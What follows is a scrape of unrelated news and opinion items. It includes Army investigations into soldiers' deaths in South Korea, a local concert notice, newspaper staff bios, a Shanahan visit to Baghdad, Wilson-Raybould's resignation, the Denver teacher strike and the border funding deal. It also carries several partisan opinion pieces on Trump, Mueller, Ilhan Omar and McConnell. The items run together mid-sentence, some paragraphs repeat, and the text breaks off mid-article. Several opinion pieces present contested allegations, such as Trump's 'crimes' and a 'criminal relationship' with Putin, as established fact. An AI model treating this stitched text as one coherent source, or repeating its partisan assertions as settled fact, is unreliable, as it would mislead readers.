The Warhorse team is deeply saddened by the loss of our friend and comrade, Easley said. We are forever grateful for the commitment he made to his nation, his choice to serve forward in Korea and the enthusiasm he brought to every mission.

Cepedas death came five days after Pvt. Aaron Mitchell, 21, a mortuary affairs specialist who is stationed at Camp Henry, South Korea, was found dead while on leave in Valley, Nebraska.

Stars and Stripes reported that Mitchell joined the Army in May 2018 and deployed to South Korea in October 2018.

This is the third soldier deployed to South Korea whose death has been investigated by the Army.

In November 2018, Sgt. Marcos Aguon, 28, was found unconscious at a base in South Korea. He joined the Army in January 2015. The details surrounding his death have not been released by the Army.

Camp Humphreys lies within the seaport city of Pyeongtaek, along the western coast of South Korea, and approximately 40 miles south of Seoul. Camp Humphreys is home to the Army's most active airfield in the Pacific and the center of the largest construction and transformation project in the Department of Defense's history, the Army has stated.

In addition to its airfield, there are several U. S. Army tactical and direct support units located on Camp Humphreys.A 19-year-old Guam native was found dead in his barracks in South Koreas Camp Humphreys on Sunday.

The Army confirmed it is investigating the death of Pvt. Claytun N. Cepeda, according to Stars and Stripes.

Cepeda was found unresponsive in his barracks and was pronounced dead. The circumstances surrounding his death are under investigation.

He was a water purification specialist who joined the Army in June 2018 at Pearl Harbor, Hawaii and was assigned to A Company, 602nd Aviation Support Battalion, 2nd Aviation Regiment, 2nd Infantry Division, according to a press release from the Army.

Battalion commander Lt. Col. Jonathan Easley expressed condolences to the family and friends of Cepeda, whose awards and decorations included the Korean Defense Service Medal, the Army Service Ribbon and the Overseas Service Ribbon, Stars and Stripes reported.

The Warhorse team is deeply saddened by the loss of our friend and comrade, Easley said. We are forever grateful for the commitment he made to his nation, his choice to serve forward in Korea and the enthusiasm he brought to every mission.

Another Army investigation is underway into the death of Pvt. Aaron Mitchell, 21, a mortuary affairs specialist, who is stationed at Camp Henry, South Korea but was found dead Feb. 5 while on leave in Valley, Nebraska.

Mitchell joined the Army in May 2018 and deployed to Camp Henry in October.

The two death investigations follow an investigation into the November 2018 death of Sgt. Marcos John Aguon, 28, who was found unconscious at a base in South Korea.

He joined the Army from Talofofo in January 2015, according to a report in the Stars and Stripes.

Aguon was found unconscious at Camp Hovey and pronounced dead at Joongang St. Mary's Hospital in the surrounding city of Dongducheon, which is near the border with North Korea. The details surrounding Aguon's death are under investigation, according to the Army's statement.

Aguon was a cannon crew member with the Fort Bliss, Texas-based 3rd Armored Brigade Combat Team, which rotated to South Korea last month. He was assigned to the 4th Battalion, 1st Field Artillery Regiment.Who doesnt love a musical? Brock Besse sure does.

Besse, founder and director of the Rochester Pops Orchestra, will celebrate musicals with "Musicals, Musicals, Musicals" at 3 p.m. Sunday at Bethel Lutheran Church, 810 Third Ave. SE.

The concert will feature favorite songs from musicals of the past and today. Selections include the suite from "Cats," "Chess," "Funny Girl," "Ragtime Orchestra Suite," and medleys from "Guys & Dolls" and everybodys recent favorite, "Hamilton."

Advance tickets are $14 for adults, $12 for seniors and $7 for ages 13-18, $2 more at the door. Ages 12 and under are admitted free.

For tickets, go to rochesterpops.com, or call 507-318-0801.Assistant Columbia bureau chief

Adcox returned to The Post and Courier in October 2017 after 12 years covering the Statehouse for The Associated Press. She previously covered education for The P&C. She has also worked for The AP in Albany, N.Y., and for The Herald in Rock Hill.The Post and Courier provides a forum for our readers to share their opinions, and to hold up a mirror to our community. Publication does not imply endorsement by the newspaper; the editorial staff attempts to select a representative sample of letters because we believe its important to let our readers see the range of opinions their neighbors submit for publication.Syndicated and guest columns represent the personal views of the writers, not necessarily those of the editorial staff. The editorial department operates entirely independently of the news department and is not involved in newsroom operations.More Information

Where Charleston stands

The city analyzed the historic core of several cities to see how many hotel rooms they had relative to the populations of their core.

City Hotel Rooms Per 100 residents

Boulder, Colo. 3

Boston 9

Charleston 14

San Francisco 15

Virginia Beach 18

Savannah 20

New Orleans 22

Old Quebec City 37

Source: City of Charleston (which based its analysis on census figures and Smith Travel Research). Flash

The U.S. Department of Defense said Tuesday that acting Secretary of Defense Patrick Shanahan held talks with Iraqi Prime Minister Adel Abdul Mahdi in Baghdad on a broad range of defense issues.

In their meeting at the prime minister's office, Shanahan and Abdul Mahdi discussed a broad range of defense issues, including the need to further develop capabilities of Iraqi security forces, according to a press release issued by the Pentagon.

Shanahan reaffirmed the U.S. commitment to an independent, sovereign Iraq that is capable of defending itself, the release said.

The two also recognized the growing bilateral security relationship, which is focused on defeating the Islamic State (IS).

Currently, there are some 5,200 U.S. troops stationed in Iraq. During his surprise visit to Iraq in December, President Donald Trump promised not to pull U.S. forces out of Iraq, saying the country could be used as a place to "do something in Syria."

During an interview earlier this month, Trump reportedly said that the important role of U.S. troops in Iraq is "to watch Iran."

In response, former Iraqi Prime Minister Ayad Allawi later said that "the presence of U.S. troops in Iraq was a result of bilateral agreement, any activity beyond that will be inacceptable."

Shanahan officially took over the Pentagon early in January as acting U.S. secretary of defense after his predecessor, James Mattis, who resigned on Dec. 20 over policy disagreements with Trump, including whether to withdraw U.S. troops from Syria.Paul Bowers is an education reporter and father of three living in North Charleston. He previously worked at the Charleston City Paper, where he was twice named South Carolina Journalist of the Year in the weekly category.Michael Majchrowicz is a reporter covering crime and public safety. He previously wrote about courts for the Daily Hampshire Gazette in Northampton, Massachusetts. A Hoosier native, he graduated from Indiana University with a degree in journalism.Angie Jackson covers crime and breaking news for The Post and Courier. She previously covered the same beat for the Grand Rapids Press and MLive.com in Michigan. When shes not reporting, Angie enjoys teaching yoga and exploring the outdoors.Political Editor

Schuyler Kropf is The Post and Courier political editor. He has covered every major political race in South Carolina dating to 1988, including for U.S. Senate, governorship, the Statehouse and Republican and Democratic presidential primaries.Columbia/Myrtle Beach Managing Editor

Andy Shain runs The Post and Courier's newsrooms based in Columbia and Myrtle Beach. He was editor of Free Times and has been a reporter and editor for newspapers in Charlotte, Columbia and Myrtle Beach.Charleston, SC (29403)

Today

Mostly sunny. High 82F. Winds ENE at 10 to 15 mph..

Tonight

A few clouds. A stray shower or thunderstorm is possible. Low around 70F. Winds NE at 5 to 10 mph.Get the SC business stories that matter.

Our newsletter catches you up with all the business stories that are shaping Charleston and South Carolina every Monday and Thursday at noon. Get ahead with us - it's free.Advertising

(Reuters)  Twitter Inc Chief Executive Jack Dorsey said on Tuesday that Silicon Valley companies, including his own, have not done enough to protect victims of online abuse, calling it a huge fail.

Interviewed via Twitter by Kara Swisher, co-founder of the tech news site Recode, Dorsey tweeted that he would give himself a C grade for what Swisher termed tech responsibility.

Weve made progress, but it has been scattered and not felt enough, he tweeted in response to Swishers questions. Changing the experience hasnt been meaningful enough. And weve put most of the burden on the victims of abuse (thats a huge fail).

Twitter, along with online social media network Facebook Inc, has faced criticism for abusive posts, fake users and inaccurate news stories on its service. The company has been investing heavily to improve what Dorsey has described as the collective health of Twitter.

Advertising

Dorsey said on Tuesday he does not like how Twitter tends to incentivize outrage, short-term thinking, echo chambers, and fragmented conversations, and that the lack of diversity in the company has not helped in combating such problems.

He said Twitters work against automations and coordinated campaigns, along with its collaboration with various government agencies, has left it in a better position to combat the threat of misinformation for the 2020 U.S. presidential elections.

U.S. intelligence agencies have concluded that Russia used social media during the 2016 U.S. elections to sway voters. Moscow denies that charge.

(Reporting by Kanishka Singh in Bengaluru; Editing by Bill Rigby) Flash

Jody Wilson-Raybould, minister of veterans affairs of Canada, resigned from Prime Minister Justin Trudeau's cabinet on Tuesday, she said in her Twitter post.

"With a heavy heart I have submitted my letter of resignation to the Prime Minister as a member of Cabinet," Wilson-Raybould said.

Her resignation came amid ongoing parliamentary investigation into whether Trudeau or anyone in his office tried to have Wilson-Raybould abandon the prosecution of a case against SNC-Lavalin when she was justice minister and attorney general.

Conflict of Interest and Ethics Commissioner Mario Dion said on Monday that he was to start the investigation into the allegations as he believed the law might have been contravened in this case.

It also came one day after Trudeau said Wilson-Raybould's continued membership in his cabinet as an indicator to Canadians that she was not unhappy with his government.

"Her presence in cabinet should actually speak for itself," the prime minister said Monday.

Trudeau also said he "welcomes" the Conflict of Interest and Ethics Commissioner's newly-announced investigation.

Last Thursday, Canadian newspaper The Globe and Mail reported that as attorney general, Wilson-Raybould came under pressure from the Prime Minister's Office to override the decision of the public prosecution service shelve court proceedings against SNC-Lavalin in favor of a negotiated settlement without trial. The company faces charges of bribing Libyan officials between 2001 and 2011 in exchange for contracts.

Canadian opposition parties have called for parliamentary investigation on alleged interference by Trudeau's office in the SNC-Lavalin case.3.6k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Trumps former lawyer John Dowd said that Trump is going to try to prevent Mueller writing a report, and if there is a report there will be no public release.

Dowd told the ABC News podcast, The Investigation, I dont think therell be a report. The rules of the [Justice] department say, no report. I will be shocked, if anything regarding the president is made public, other than, Were done.'

The Trump strategy has gone from trying to shut Mueller down to letting him finish his investigation but making sure that there is no report.

The reason why Trump and the White House keep saying that Mueller will be allowed to finish his investigation is because they may have no intention of ever letting him write a report.

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House Intelligence Committee chairman Rep. Adam Schiff is ready to counter Trumps efforts to hide a report. Schiff said on February 4th, This is too big to be buried. This is of too great a consequence to the country to be swept under the rug. And so we will use whatever compulsion we can and must to make sure that the public gets the full story.

Congress must pass legislation that requires Mueller to report to Congress

A bill requiring Mueller to report to Congress after his investigation concludes has been discussed in the House, and it is time for such legislation to be passed. It isnt not out of the realm of possibility that the endgame for Trump could be not allowing Mueller to write a report and then pardoning anyone associated with the scandal.

The Trump administration has refused to commit to publicly releasing the Mueller report, but if Congress doesnt act, there may be no Mueller report at all.

For more discussion about this story join our Rachel Maddow and MSNBC group.

Follow Jason Easley on Facebook985 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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House Minority Leader Rep. Kevin McCarthy admitted to donors that trying to take healthcare away from people was a really bad idea.

The Washington Post reported:

Speaking privately to his donors, House Minority Leader Kevin McCarthy squarely blamed Republican losses in last years midterm elections on the GOP push to roll back health insurance protections for people with preexisting conditions  and in turn blamed his partys right flank.

.

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When we couldnt pass the repeal of Obamacare the first way through, an amendment came because the Freedom Caucus wouldnt vote for the original House bill, McCarthy said. That amendment put [the] preexisting condition campaign against us, and so even people who are running for the very first time got attacked on that. And that was the defining issue and the most important issue in the race.

Republicans Realize Taking Away Healthcare Is A Bad Idea, But Theyre Still Going To Do It Anyway

McCarthy can blame the Freedom Caucus, but the reality is that he and then-Speaker Paul Ryan backed the far right plan and a bill that had an uncertain future in the Senate. The Freedom Caucus wasnt the House leadership, so the failure of 2018 belongs to the Republican House leadership and Donald Trump.

McCarthys comments never backed off of continuing to take healthcare away from people. The House Minority Leader said that it was a bad idea, but he didnt say that House Republicans would stop trying to make sure that people had less healthcare that costs more money.

The effort to take healthcare away from people with a midterm election coming was a terrible idea. Whats even worse is that Republicans have learned nothing, and are still trying to take healthcare away from the most vulnerable Americans.

The only way to keep your healthcare is to keep Republicans far from power.

For more discussion about this story join our Rachel Maddow and MSNBC group.

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Democrats in the House will soon launch a vast and comprehensive series of investigations into Donald Trumps ties to Russia.

And, according to a new report, the focus of the investigations will be on Trumps criminal relationship with Vladimir Putin, and the alleged money laundering and other crimes that they committed together.

The report states that House Democrats, who are now in the majority, will hold a series of public events that will include multiple committees and dramatic public hearings, and could last into 2020.

Obviously what this means is that Democrats plan to showcase Donald Trumps crimes to the entire nation starting this year and extending into the 2020 campaign for the presidency.

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Even if Trump succeeds  with the help of probable new Attorney General William Barr  to keep secret the report and findings of the Mueller probe, he wont be able to keep all of his misdeeds from public view. Clearly House Democrats have no intention of giving Donald Trump a free pass that would allow him to be re-elected as president next year.

The plan is for several different House committees to examine all aspects of the presidents financial ties to Putin and to Russian oligarchs. They even plan to subpoena and to question the interpreter present during Trumps face-to-face meeting with Vladimir Putin in Helsinki last summer.

The aggressive plans were reportedly laid out in detail by a Democratic House member during a meeting with reporters. Democrats have made clear that now that they are in the majority they will be interviewing new witnesses. They also are scheduling follow-up interviews with witnesses who have previously testified before House committees, but who Republicans allowed to stonewall and not answer key questions.

According to the report:

Participants in the meeting were made to understand that House Democrats dont plan to depend on Robert Mueller for the last word on interference in the 2016 election.

A minimum of three House committees are currently planning hearings into Trumps crimes and his criminal relationship with Putin and other Russians. And other committees and subcommittees could get involved as well.

At the heart of the efforts will be the House Intelligence Committee, chaired by Rep. Adam Schiff of California. He will reportedly coordinate his efforts on investigating money laundering with the House Financial Services Committee. And the House Foreign Affairs Committee will explore in detail the current administrations dealings with Russia.

Congressional investigators are especially interested in understanding where the president obtained $400 million in cash that he spent making real estate deals in the 2000s. That was a time when, due to his many failed projects and bankruptcies, he was unable to obtain bank financing for any new projects.

The Washington Post reported in May 2018:

In the nine years before he ran for president Donald Trumps company spent more than $400 million in cash on new properties  including 14 transactions paid for in full, without borrowing from banks  during a buying binge that defied real estate industry practices and Trumps own history as the self-described King of Debt.

Democrats will also be investigating Trumps private meetings with Putin, and they intend to probe the president and his familys dealings in Russia throughout the 2016 presidential campaign.

If we didnt look at his business, the Democratic lawmaker said, we wouldnt know what we know now about his efforts to pursue what may have been the most lucrative deal of his life, the Trump Tower in Moscow  something the special counsels office has said stood to earn the family hundreds of millions of dollars.

There is a good reason that Donald Trump is terrified of Adam Schiff and Nancy Pelosi. No matter what happens with the Mueller report, he knows that they have the power to bring down his presidency. And hopefully that is exactly what will happen in the coming months.1.5k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Rep. Ilhan Omar (D-MN) had the ultimate response to Donald Trumps hypocritical calls for her resignation from the House.

Trump said during his cabinet meeting a.k.a. staff pep rally for a failing president on Tuesday, One other thing I might want to say is that anti-Semitism has no place in the United States Congress. And Congressman Omar is terrible, what she said. And I think she should either resign from Congress or she should certainly resign from the House Foreign Affairs Committee. What she said is so deep-seated in her heart that her lame apology  and thats what it was; it was lame, and she didnt mean a word of it  was just not appropriate. I think she should resign from Congress, frankly. But at a minimum, she shouldnt be on committees, and certainly that committee.

Rep. Omar tweeted:

Hi @realDonaldTrump You have trafficked in hate your whole lifeagainst Jews, Muslims, Indigenous, immigrants, black people and more. I learned from people impacted by my words. When will you? https://t.co/EqqTyjkiNE  Ilhan Omar (@IlhanMN) February 13, 2019

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Rep. Omar turned the tables on Trump

Rep. Omar was correct. Long before Trump got into politics, he has lived a life steeped in division, racism, and hate. There were those who naively thought that Trumps racism was a political strategy designed to motivate his base. At some level it is, but what this explanation ignores is that Trump holds racist beliefs.

Omars broader point was that Trump and the Republican Party dont have a leg to stand on when it comes to condemning others for their statements. Rep. Omar apologized. Her apology should be accepted, and people should move on. She made a statement on social media that went too far. There is a difference between the character that Rep. Omar showed that the hate and division that comes out of the Oval Office every day.

If anyone needs to resign, its Donald Trump.

For more discussion about this story join our Rachel Maddow and MSNBC group.

Follow Jason Easley on Facebook4k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Senate Democratic Leader Chuck Schumer is putting together a new plan to finally bring down his arch-nemesis, Senate Republican Leader Mitch McConnell.

According to POLITICO, Schumer is working very hard to bring about McConnells downfall, which would be a major coup and a giant step toward Democrats taking control of the Senate after the 2020 elections.

Chuck Schumers offensive underscores the frayed relations between him and Mitch McConnell

Chuck Schumers offensive underscores the frayed relations between him and Mitch McConnell https://t.co/a8OoLLvM2I  POLITICO (@politico) February 13, 2019

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Schumer and other key senators are recruiting famous Marine fighter pilot Amy McGrath to run against the long-serving Kentucky Republican.

McGrath, after retiring from the Marines, became an impressive 2018 congressional candidate. She narrowly lost while competing against a GOP incumbent congressman in a very red district. She is extremely popular in Kentucky also.

Schumer is actively appealing to McGrath to run against Mitch, and she reportedly is giving it serious consideration. According to POLITICO, Schumer has been in private contact with McGrath for several months.

McConnell of course is already gearing up for his reelection fight and apparently is leaving nothing to chance. His political team already started compiling opposition research on McGrath.

Today senior Republican Party officials involved with a pro-McConnell super PAC will meet in Washington to begin mapping out a potential campaign against McGrath.

Schumer and McConnell have clashed as rival Senate party leaders for many years. Schumers efforts to recruit a viable candidate to take on McConnell is his latest and boldest attempt so far to bring down the GOP leader.

McGraths claim to fame is that she was the first woman to fly in an F/A-18 in a combat mission for the Marines. Last year she became nationally recognized for her campaign ad entitled Told Me, which highlighted the many glass ceilings she shattered as a woman in combat.

If she does decide to throw her hat in the ring, McGrath could be a formidable foe. Her narrow loss against GOP Rep. Andy Barr in a conservative district showed that she could be a strong opponent for any Republican.

McConnell, who has served in the Senate since 1985, will have the advantage of a very red electorate that reportedly likes the power he brings to Kentucky.

But McGrath does have one advantage which will most definitely help her chances: McConnell is generally not well-liked by his constituents and in fact according to Morning Consult he is the least-popular currently sitting senator.

Many people assume that a Republican will always win in Kentucky, but things could easily go south for McConnell between now and the 2020 election. And the current GOP governor is trailing all of his potential Democratic challengers in the polls.

What might bring about the Senate Majority Leaders downfall is his close connection  and enabling  of President Donald Trump.

If Trumps crimes come to light, and if House Democrats hold public hearings for all of America to see, then there will be no safe place for Republicans to hide. And after that, if McConnell still supports a very unpopular president the people could decide they have had enough of him.

And if that happens  thanks to Chuck Schumer  Amy McGrath will be waiting in the wings. The former Marine hopefully will be ready to fight to win over a GOP senate seat  and possibly control of the Senate  for the Democratic Party.417 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Editors Note: The idea of indicting a sitting president is still a matter of debate.

The fate of Donald Trump  and the nation  may lie in the hands of his next attorney general, William Barr. Since Justice Department policy prohibits indictment of a sitting president on criminal charges, the only way for Trump to be forced from office is impeachment.

But according to a new article in this mornings Daily Beast, Trump could avoid impeachment if Barr stops Congress from seeing critical evidence in the files of special counsel Robert Mueller. This would create a national disaster, and a political crisis unlike anything the country has ever seen.

Barr, whose nomination passed another procedural hurdle yesterday, has said that governing law could keep Congress from reviewing evidence that the Mueller investigation has compiled against the president.

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The stated reason federal prosecutors are prohibited from trying a sitting president for criminal conduct is that the U.S. Constitution provides another course of action: impeachment by Congress.

And Congress could probably impeach and remove Trump if they are able to use Muellers evidence of collusion and other crimes committed by Trump.

But if lawmakers are not allowed to see that evidence because of the attorney generals position, then that would prevent a thorough impeachment trial while Trump is still president.

The problem is that during Senate hearings Barr refused to commit to sharing all of Muellers final report, if one is ever issued, with the public or with Congress. He said that the evidence could be subject to rules on secrecy and privacy.

According to the Daily Beast many legal experts believe that the attorney general nominee is wrong, however.

This is because there is a precedent supporting the release of the special counsels findings: a court allowed the House to review evidence against Richard Nixon in the Watergate investigation.

That court decision expressly stated that Congress has a right to obtain any evidence against a president in a criminal investigation. And the U.S. Constitution would then give authority to the House to impeach, and the Senate to remove, the chief executive for high crimes or misdemeanors.

To get Muellers files, Congress may have to prepare to issue a subpoena to demand Muellers grand jury evidence. The House did this in 1974 when they issued a subpoena to special prosecutor Leon Jaworski.

That would certainly set off another court battle, and Trump and Barr have already signaled that theyre willing to fight any attempt to release Muellers findings to the public.

As the Daily Beast article said:

Trump has demonstrated little hesitancy to openly engage in efforts to obstruct justice. Therefore, our current president might try to stand in the way of the sharing of Muellers evidence with the Congress, possibly with the support of his new attorney general.

Even though Democrats now control the House and will begin their own investigations, they may not have enough time to thoroughly investigate all of Trumps crimes. House Republicans wasted two years in sham investigations while Mueller was busy compiling the evidence needed to try and convict Trump for his many crimes.

If the House is not able to see Muellers evidence, and thus are not able to either indict or impeach the president, it would be a national tragedy. And it may allow a criminal to remain in office as President of the United States.

House Democrats must do everything they can to make sure they are able to see Muellers report and to use his evidence in their own investigations into Trumps criminal behavior. Ultimately the fate of Trumps presidency, and of our democracy, may lie in their hands.856 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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By Patricia Zengerle

WASHINGTON (Reuters)  U.S. Republican and Democratic senators on Wednesday will introduce a bill seeking to punish Russia for meddling in U.S. elections and for its aggression in Ukraine by imposing sanctions on its banking, energy sector and foreign debt.

The bill will be introduced by Republican Senator Lindsey Graham and Democratic Senator Bob Menendez and is a tougher version of the one the two lawmakers backed last year but which failed to pass, Menendezs office said. The bill has been seen by Reuters.

Among other things, it would impose sanctions on Russian banks that support efforts to interfere in foreign elections, sanction Russian liquefied natural gas projects outside of Russia, sanction the countrys cyber sector, impose sanctions on new sovereign debt and sanction individuals deemed to facilitate illicit and corrupt activities, directly or indirectly, on behalf of (Russian President Vladimir) Putin.

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The bill would have to pass Congress and be signed by President Donald Trump before becoming law. Trump has gone along with increasing sanctions on Russia, though sometimes reluctantly.

U.S. Special Counsel Robert Mueller is investigating Russian meddling in the 2016 U.S. election and Moscows possible collusion with the Trump campaign. Russia has denied interfering in the election and Trump has called Muellers probe a witch hunt.

Menendez, the top Democrat on the Senate Foreign Relations Committee, said Congress wanted action to respond to the humanitarian disaster in Syria, where Russia backs President Bashar al-Assad, Moscows aggression in Ukraine and the steady erosion of international norms.

One thing is increasingly clear: Moscow will continue to push until it meets genuine resistance, Menendez told Reuters.

Graham, a leading Republican congressional foreign policy voice is a Trump ally who called last years legislation the sanctions bill from hell. He said he was determined to send a strong message to Moscow.

Our goal is to change the status quo and impose meaningful sanctions and measures against Putins Russia, Graham said in an email to Reuters. He should cease and desist meddling in the U.S. electoral process, halt cyberattacks on American infrastructure, remove Russia from Ukraine, and stop efforts to create chaos in Syria.

(Reporting by Patricia Zengerle; Additional reporting by Timothy Gardner; Editing by Paul Simao)1k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Democrats are done with the hypocrisy of Republicans on matters of racism and bigotry.

In response to Republicans threatening floor action against Rep. Ilhan Omar (D-MN), Democrats  who already demanded an apology from Omar  have moved to protect her by privately suggesting theyd censure Republican Steve king and take action against Republican Kevin McCarthy for his own tweet issue, Washington Post Congressional reporter Rachel Bade wrote on Twitter Wednesday afternoon.

Omars apology tour comes as Democratic leaders have floated what amounts to an ultimatum to their GOP colleagues eager to rebuke the freshman Muslim lawmaker. While Republicans said earlier this week that they may force a vote in the full House against Omar  such as a privileged resolution disapproving her actions  senior House Democrats have suggested they might retaliate, putting Republicans in the equally awkward position of having to reprimand one of their own, including their top leader, Bade explained in her article.

You have trafficked in hate your whole life  against Jews, Muslims, Indigenous, immigrants, black people and more, Rep. Ilhan Omar tweeted at Trump Wednesday morning. I learned from people impacted by my words. When will you?

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Omar was responding to Trumps level 10 hypocrisy call for her to resign over her misguided comment that she learned was an anti-Semitic trope.

Trump said, I think she should either resign from congress or she should certainly resign from the House Foreign Affairs Committee. Trump added that her comments are deep seeded in her heart and called her apology lame, according to a White House pool report sent to PoliticusUSA.

I explored a few of the ways Trump has jumped the hypocrisy shark, as someone who has enabled and elevated white supremacists and overseen a frightening rise in hate crime against Jewish Americans and African Americans.

Republicans are not acting in good faith as they weaponize racism against Democrats, which is not only harmful to the political atmosphere, but more broadly harms those they are claiming to be defending by only caring about racism when it can help their power politically so that they can continue to enact policies that harm minorities and continue hate speech that stokes the fires of violence.

Racism is a real problem, but it is certainly not a problem any Republican has a moral standing on. And I mean zero Republicans. They are all enabling this president and their own fellow Republicans who are trying to make white nationalism a normal thing. It is not.

Racism is everywhere, including in the Democratic party. The difference is that they expect their members to at least be willing to listen and learn from their mistakes, and they are willing to step up to the plate and call for a resignation even when it means a huge political loss, like it would in swing state Virginia.

Omar is a freshman; McCarthy is one of their top leaders. McCarthy was their nominee for Speaker of the in 2019, but since they lost the House, he is now the Minority Leader, as now Speaker Pelosi was when Republicans led the House.

Republicans have not censured King or McCarthy. They do not self-regulate.

Republicans are playing up to Trumps base of poorer white Americans for everything its worth, and without a care about how low they go.

As I keep saying, the one good thing the Trump era has done is given Democrats a spine. They should not back down, since Republicans are not acting in good faith. We are at a sad place in our history when one side is so distorted by power that they dont even care when theyre being hypocrites. Theres no way to debate or have important dialogue with people who dont see the issue as important, but rather only see it as a way to gain power for themselves.

Follow Sarah on Facebook and Twitter.Advertising

By Keith Coffman

DENVER (Reuters)  Thousands of Denver public school teachers walked picket lines for a second day on Tuesday, disrupting classes for some 92,000 students as union and school district officials resumed contract talks that broke down over the weekend.

In the latest in a series of strikes to hit U.S. public school systems around the country, the 5,650-member Denver Classroom Teachers Association is seeking higher pay with a salary structure focused less on performance bonuses and more on cost-of-living increases.

The Denver labor dispute follows statewide teacher walkouts last year in West Virginia, Kentucky, Oklahoma and Arizona, and a six-day strike in Los Angeles settled last month with a deal to reduce class sizes and raise salaries by 6 percent.

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Talks in Denver broke down on Saturday, triggering the first walkout by teachers in Colorados largest city since 1994. The two sides returned to the bargaining table late on Tuesday morning.

Outside Columbian Elementary school, a dozen teachers picketed, including early childhood education specialist Traci McKeehan, 48, who said she was hopeful a deal would be reached with a more predictable pay structure. The union says the current system has led to wide individual wage fluctuations from year to year, leading to higher rates of teacher turnover.

In Denver, were losing teachers left and right, said McKeehan, who was holding a sign that read, Wed rather be teaching.

The Denver Public Schools district has said its latest proposal would raise teachers pay by nearly 11 percent next year, while the union has called that figure inflated.

On Monday, Public Schools Superintendent Susana Cordova told reporters that the district has already met many of the teachers demands for simplifying their complicated pay structure.

Weve made really significant changes already, Cordova said. Many of the things I think that we hear our teachers complain about, actually arent about the proposal that weve put on the table, its about the current system. And many of those things I agree with as well.

District officials vowed to keep all 207 schools open through the strike, staffed by substitute teachers and administration personnel. But on Tuesday the district said it canceled pre-kindergarten classes.

The so-called ProComp pay system at the crux of the strike was initially embraced by the union when it was instituted in 2005, touted as a way of enabling teachers to build their salaries through a mix of possible incentives. Those include bonuses tied to student achievement and tougher teaching assignments, such as schools in high-poverty areas.

But the union says ProComp, one of the longest-running teacher pay schemes of its kind in the country, has instead eroded teacher pay in a city where the cost of living has soared in the past 10 years.

Denver Mayor Michael Hancock on Monday expressed support for the teachers pay demands and offered to help mediate the dispute.

(Reporting by Keith Coffman in Denver; Additional reporting by Jann Tracey in Denver and Gina Cherelus in New York; Writing and additional reporting by Peter Szekely in New York, Rich McKay in Atlanta and Steve Gorman in Los Angeles; Editing by John Stonestreet and Matthew Lewis)1.3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard

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Speaker Nancy Pelosi is putting the heat on Trump by bringing the bipartisan border spending deal to the House floor as soon as Wednesday.

Politico reported:

Even as House Democratic leaders prepare to move the massive legislative package to the floor as early as Wednesday night, Trump is still sending mixed messages on his intentions.

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When it is finished and it is filed, then we can move expeditiously. It could be done by then, Speaker Nancy Pelosi (D-Calif.) told reporters following a Democratic leadership meeting, meaning Wednesday night.

Its possible that we could pass it tomorrow, added House Majority Leader Steny Hoyer (D-Md.). Theres some technical things to have to get done. You have to get [Congressional Budget Office] score. But were obviously hopeful that we can get it done as quickly as possible.

Pelosi Offers Trump A Do or Die Choice

The choice that Nancy Pelosi is offering Trump is simple. He can either take the bipartisan deal thats on the table, or he can shut down the government again. At his cabinet meeting, Trump claimed that he was going to be adding more things to the bill, but that is not happening. Trump is going to have to take it or leave it, and if he vetoes the border spending bill, the next government shutdown will be all on him.

Senate Republicans are likely to join with Democrats in supporting the bill in overwhelming numbers to send the message to the White House that a veto can be overridden.

Speaker Pelosi has outmaneuvered Trump. The president is getting no money for his wall, and even less money for border security than he could have had before he shut the government down. The offers keep getting worse, as Nancy Pelosi is making sure that Trump gets nothing for all of the pain that he has caused millions of people.

For more discussion about this story join our Rachel Maddow and MSNBC group.

Follow Jason Easley on Facebook Flash

Uncertainty hangs on as U.S. President Donald Trump said Tuesday that he is not happy with a bipartisan deal reached in principle by lawmakers in a bid to avert a government shutdown.

"I can't say I'm happy. I can't say I'm thrilled," Trump told reporters in the White House about the deal.

However, the president did not say whether he would sign or veto the deal, noting that he would hold a meeting to discuss it later.

"We certainly don't want to see a shutdown", Trump said, adding that "everything" is on the table and he needs to look further into the details of the deal struck on Monday night on spending and border security.

Earlier on Tuesday, White House Deputy Press Secretary Hogan Gidley said that it was not sure whether Trump would give the greenlight to the deal.

"We're not sure yet, to be quite honest," Gidley told Fox News during an interview. "It's not consistent with what we're hearing coming out of the conference committee ...So until we actually see it, it is very difficult to comment on it."

"The White House has been consulted all along," Republican Senator Richard Shelby, chair of Senate Appropriations Committee, said Monday night when announcing "an agreement in principle" was reached to avert the shutdown, failing to reveal the details.

Local media, quoting congressional sources, said Tuesday that the bill would include 1.375 billion U.S. dollars for physical barriers along the U.S. -Mexico border. Trump had previously demanded 5.7 billion dollars in funding for a border wall, which is his signature campaign promise.

As for another major disagreement over the number of Immigration and Customs Enforcement (ICE) detention beds for detained undocumented immigrants, a CNN report said Tuesday that negotiators from both parties might agree to a level of 40,520.

Democratic lawmakers tried to cap overall ICE detention beds to 35,520, while the White House and Republicans sought a hike to 52,000.

"No one got everything they wanted" during the weeks of bipartisan negotiations, said a top Democratic negotiator Nita Lowey on Tuesday, calling the deal a "compromise."

The House appropriations chairwoman said that under the current tentative deal, the 1.375-billion-dollar funding is for a barrier instead of a wall along some parts of the U.S.-Mexico border.

"This is not a wall. This is a barrier," she said. "These are fences. I think 1.375 billion dollars is a good number."

Speaking on Monday night in El Paso, Texas, which sits directly across the Rio Grande from Mexico, Trump said he would build the border wall regardless of whether Congress approves funding for it.

"Just so you know, we're building the wall anyway," Trump told the crowd. "I will never sign a bill that forces the mass release of violent criminals into our country. And I will never abolish or in any way mistreat our great heroes from ICE and Border Patrol and law enforcement."

Democrats have rejected the idea of a border wall, calling it Trump's "political theater" to fire up his base, while they prefer the use of technology like drones and sensors in strengthening border security. Trump argued it is essential to beefing up border security and curbing crime.

The confrontation over border wall funds had caused a record-breaking 35-day partial shutdown of the federal government, which ended in late January when Trump agreed to fund the government for three weeks to allow for negotiations.

The temporary funding bill runs out on Friday. Both the House and Senate will have to approve the legislation and Trump must sign it so as to avoid another government shutdown.Advertising

By Idrees Ali

BAGHDAD (Reuters)  Acting U.S. defense chief Patrick Shanahan told Iraqi leaders that Washington understood its forces were in Iraq at Baghdads invitation, aiming to steady relations after President Donald Trump said U.S. troops were needed to keep an eye on Iran.

